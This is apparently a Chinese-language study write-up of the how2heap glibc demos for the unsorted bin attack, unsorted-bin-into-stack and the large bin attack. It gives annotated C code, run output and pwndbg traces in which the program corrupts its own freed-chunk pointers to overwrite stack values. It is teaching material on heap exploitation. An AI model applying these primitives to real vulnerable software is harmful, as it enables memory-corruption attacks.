unsignedlong stack_var=0; //stack_var就是我们的攻击目标 fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n"); fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);
unsignedlong *p=malloc(400);
// 我们先在堆上分配一个正常的chunk fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p); //并且分配另一个正常的chunk来避免free第一个chunk时该chunk与top chunk合并 fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with" "the first one during the free()\n\n"); malloc(500);
free(p); //现在我们释放的p将会被放入unsorted bin中,并且其bk指向p[1] fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer " "point to %p\n",(void*)p[1]);
//------------VULNERABILITY-----------
p[1]=(unsignedlong)(&stack_var-2); //现在我们模拟有一个漏洞让我们可以覆写victim->bk指针 fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n"); fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);
//------------------------------------
malloc(400); //现在我们再分配一次来取回我们刚刚free掉的chunk,此时攻击目标已经被改写了 fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been " "rewritten:\n"); fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var); }
运行结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
This file demonstrates unsorted bin attack by write a large unsigned long value into stack In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the global variable global_max_fast in libc for further fastbin attack
Let's first look at the target we want to rewrite on stack: 0x7ffdabb6d048: 0
Now, we allocate first normal chunk on the heap at: 0x16d6010 And allocate another normal chunk inorderto avoid consolidating the top chunk withthe first one during the free()
We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer point to0x7fb225384b78 Now emulating a vulnerability that can overwrite the victim->bk pointer And we write it with the target address-16 (in32-bits machine, it should be target address-8):0x7ffdabb6d038
Let's malloc again to get the chunk we just free. During this time, the target should have already been rewritten: 0x7ffdabb6d048: 0x7fb225384b78
调试
断点位置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
9unsignedlong stack_var=0; ► 10fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n");
► 13unsignedlong *p=malloc(400);
► 17malloc(500);
19free(p); ► 20fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
25 p[1]=(unsignedlong)(&stack_var-2); ► 26fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
31malloc(400); ► 32fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been "
下面我们直接运行看下,首先给定义变量stack_var,赋初值为0
1 2 3 4
pwndbg> p stack_var $2 = 0 pwndbg> p &stack_var $3 = (unsigned long *) 0x7fffffffe5c8
fprintf(stderr, "Allocating the victim chunk\n"); intptr_t* victim = malloc(0x100);
fprintf(stderr, "Allocating another chunk to avoid consolidating the top chunk with the small one during the free()\n"); intptr_t* p1 = malloc(0x100);
fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim); free(victim);
//在栈上伪造一个fake chunk fprintf(stderr, "Create a fake chunk on the stack"); //设置下一次分配的大小并且把bk指针指向任意可写的地址 fprintf(stderr, "Set size for next allocation and the bk pointer to any writable address"); stack_buffer[1] = 0x100 + 0x10; stack_buffer[3] = (intptr_t)stack_buffer;
//------------VULNERABILITY----------- //现在假设我们有一个漏洞可以让我们覆写victim->size和victim->bk指针 fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->size and victim->bk pointer\n"); //size必须和下一个请求的size不同以返回一个fake_chunk并且需要bypass 2*SIZE_SZ>16 && 2*SIZE<av->system->mem 的检查 fprintf(stderr, "Size should be different from the next request size to return fake_chunk and need to pass the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem\n"); victim[-1] = 32; victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack //------------------------------------
//现在我们就可以返回我们的fake_chunk了 fprintf(stderr, "Now next malloc will return the region of our fake chunk: %p\n", &stack_buffer[2]); fprintf(stderr, "malloc(0x100): %p\n", malloc(0x100)); }
运行结果
1 2 3 4 5 6 7 8
root@284662b4a7a3:~/how2heap/glibc_2.25# ./unsorted_bin_into_stack Allocating the victim chunk Allocating another chunk to avoid consolidating the top chunk with the small one during the free() Freeing the chunk0x1078010, it will be inserted in the unsorted bin Create a fake chunkon the stackSet sizefornext allocation and the bk pointer toany writable addressNow emulating a vulnerability that can overwrite the victim->sizeand victim->bk pointer Size should be different from the next request sizetoreturn fake_chunk and need to pass the check2*SIZE_SZ (> 16on x64) && < av->system_mem Nownext malloc will return the region of our fake chunk: 0x7ffda9d27830 malloc(0x100): 0x7ffda9d27830
12 intptr_t* p1 = malloc(0x100); 13 ► 14 fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
15 free(victim); 16 ► 17 fprintf(stderr, "Create a fake chunk on the stack");
19 stack_buffer[1] = 0x100 + 0x10; 20 stack_buffer[3] = (intptr_t)stack_buffer; 21 22//------------VULNERABILITY----------- ► 23 fprintf(stderr , "Now emulating a vulnerability that can overwrite the victim->size and victim->bk pointer\n");
25 victim[-1] = 32; 26 victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack 27//------------------------------------ 28 ► 29 fprintf(stderr, "Now next malloc will return the region of our fake chunk: %p\n", &stack_buffer[2]);
large bin是双循环链表,对于同样大小的free chunk我们所释放的第一个chunk会成为一个堆头,其bk_nextsize指向下一个比他大的堆头,而fd_nextsize指向下一个比他小的堆头,然后最大的堆头的bk_nextsize指向最小的堆头,最小的堆头的fd_nextsize指向最大的堆头,而剩下的free chunk就会通过fd和bk指针链在堆头的下面,他们的fd_nextsize和bk_nextsize的值都为0
/* This technique is taken from https://dangokyo.me/2018/04/07/a-revisit-to-large-bin-in-glibc/ [...] else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; [...] mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim; For more details on how large-bins are handled and sorted by ptmalloc, please check the Background section in the aforementioned link. [...] */
#include<stdio.h> #include<stdlib.h>
intmain() { //本例以通过写一个大的无符号long型数值进入栈来演示large bin attack fprintf(stderr, "This file demonstrates large bin attack by writing a large unsigned long value into stack\n"); //在实际中,large bin attack也常常被用于更深层次的攻击,如覆写global_max_fast来为fastbin attack打辅助(为什么有一种看到了unsorted bin attack的错觉2333 fprintf(stderr, "In practice, large bin attack is generally prepared for further attacks, such as rewriting the " "global variable global_max_fast in libc for further fastbin attack\n\n");
//我们要在栈上覆写的是stack_var1和stack_var2 fprintf(stderr, "Let's first look at the targets we want to rewrite on stack:\n"); fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1); fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);
unsignedlong *p1 = malloc(0x320); //现在我们有了第一个large chunk fprintf(stderr, "Now, we allocate the first large chunk on the heap at: %p\n", p1 - 2);
//然后申请一个fastbin chunk 来避免我们的第一个large chunk free的时候与下一个large chunk合并 fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with" " the first large chunk during the free()\n\n"); malloc(0x20);
unsignedlong *p2 = malloc(0x400); //现在是第二个large chunk fprintf(stderr, "Then, we allocate the second large chunk on the heap at: %p\n", p2 - 2);
//同理,防止第二个free的时候与下一个large chunk合并 fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with" " the second large chunk during the free()\n\n"); malloc(0x20);
unsignedlong *p3 = malloc(0x400); //最后我们分配第三个large chunk fprintf(stderr, "Finally, we allocate the third large chunk on the heap at: %p\n", p3 - 2);
//这个fastbin是为了防止和top chunk合并 fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the top chunk with" " the third large chunk during the free()\n\n"); malloc(0x20);
free(p1); free(p2); //现在我们free掉第一个和第二个large chunks,此时他们会被插入到unsorted bin中 fprintf(stderr, "We free the first and second large chunks now and they will be inserted in the unsorted bin:" " [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));
malloc(0x90); //此时,我们申请一个小于被释放的第一个large chunk的chunk fprintf(stderr, "Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the" " freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation" ", and reinsert the remaining of the freed first large chunk into the unsorted bin:" " [ %p ]\n\n", (void *)((char *)p1 + 0x90));
free(p3); //现在我们free第三个large chunk fprintf(stderr, "Now, we free the third large chunk and it will be inserted in the unsorted bin:" " [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));
//------------VULNERABILITY-----------
//现在假设我们有一个漏洞可以覆写被free的第二个large chunk的size,bk,bk_nextsize指针 fprintf(stderr, "Now emulating a vulnerability that can overwrite the freed second large chunk's \"size\"" " as well as its \"bk\" and \"bk_nextsize\" pointers\n");
//现在我们减少被free的第二个large chunk来逼迫malloc将被free的第三个large chunk插入到large bin freelist的头部 fprintf(stderr, "Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk" //为了覆写栈上的值,我们将在stack_var1前将bk设位16bytes,并在stack_var2前将bk_nextsize设为32bytes " at the head of the large bin freelist. To overwrite the stack variables, we set \"bk\" to 16 bytes before stack_var1 and" " \"bk_nextsize\" to 32 bytes before stack_var2\n\n");
//让我们再malloc一次,这样被释放的large chunk就被插入到large bin freelist了 fprintf(stderr, "Let's malloc again, so the freed third large chunk being inserted into the large bin freelist." //在这期间,我们的目标已经被改写 " During this time, targets should have already been rewritten:\n");
root@284662b4a7a3:~/how2heap/glibc_2.25# ./large_bin_attack This file demonstrates large bin attack by writing a large unsigned long value into stack In practice, large bin attack is generally prepared for further attacks, such as rewriting the global variable global_max_fast in libc for further fastbin attack
Let's first look at the targets we want to rewrite on stack: stack_var1 (0x7ffe64e357c0): 0 stack_var2 (0x7ffe64e357c8): 0
Now, we allocate the first large chunk on the heap at: 0x1d99000 And allocate another fastbin chunk in order to avoid consolidating the next large chunk with the firstlargechunk during the free()
Then, we allocate the secondlargechunkon the heapat: 0x1d99360 Andallocate another fastbin chunkinorderto avoid consolidating the nextlargechunkwith the secondlargechunk during the free()
Finally, we allocate the third largechunkon the heapat: 0x1d997a0 Andallocate another fastbin chunkinorderto avoid consolidating the top chunkwith the third largechunk during the free()
We free the firstandsecondlarge chunks nowand they will be inserted in the unsorted bin: [ 0x1d99360 <--> 0x1d99000 ]
Now, we allocate a chunkwith a size smaller than the freed firstlarge chunk. This will move the freed secondlargechunkinto the largebinfreelist, use parts of the freed firstlargechunkfor allocation, and reinsert the remaining of the freed firstlargechunkinto the unsorted bin: [ 0x1d990a0 ]
Now, we free the third largechunkand it will be inserted in the unsorted bin: [ 0x1d997a0 <--> 0x1d990a0 ]
Now emulating a vulnerability that can overwrite the freed secondlargechunk's "size" as well as its "bk" and "bk_nextsize" pointers Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk at the head of the large bin freelist. To overwrite the stack variables, we set "bk" to 16 bytes before stack_var1 and "bk_nextsize" to 32 bytes before stack_var2
Let's malloc again, so the freed third largechunk being inserted into the largebin freelist. During this time, targets should have already been rewritten: stack_var1 (0x7ffe64e357c0): 0x1d997a0 stack_var2 (0x7ffe64e357c8): 0x1d997a0
41 unsigned long stack_var1 = 0; 42 unsigned long stack_var2 = 0; 43 ► 44 fprintf(stderr, "Let's first look at the targets we want to rewrite on stack:\n");
67 malloc(0x20); 68 ► 69 free(p1);
69 free(p1); ► 70 free(p2);
70 free(p2); ► 71 fprintf(stderr, "We free the first and second large chunks now and they will be inserted in the unsorted bin:" 72" [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));
74 malloc(0x90); ► 75 fprintf(stderr, "Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the"
80 free(p3); ► 81 fprintf(stderr, "Now, we free the third large chunk and it will be inserted in the unsorted bin:" 82" [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));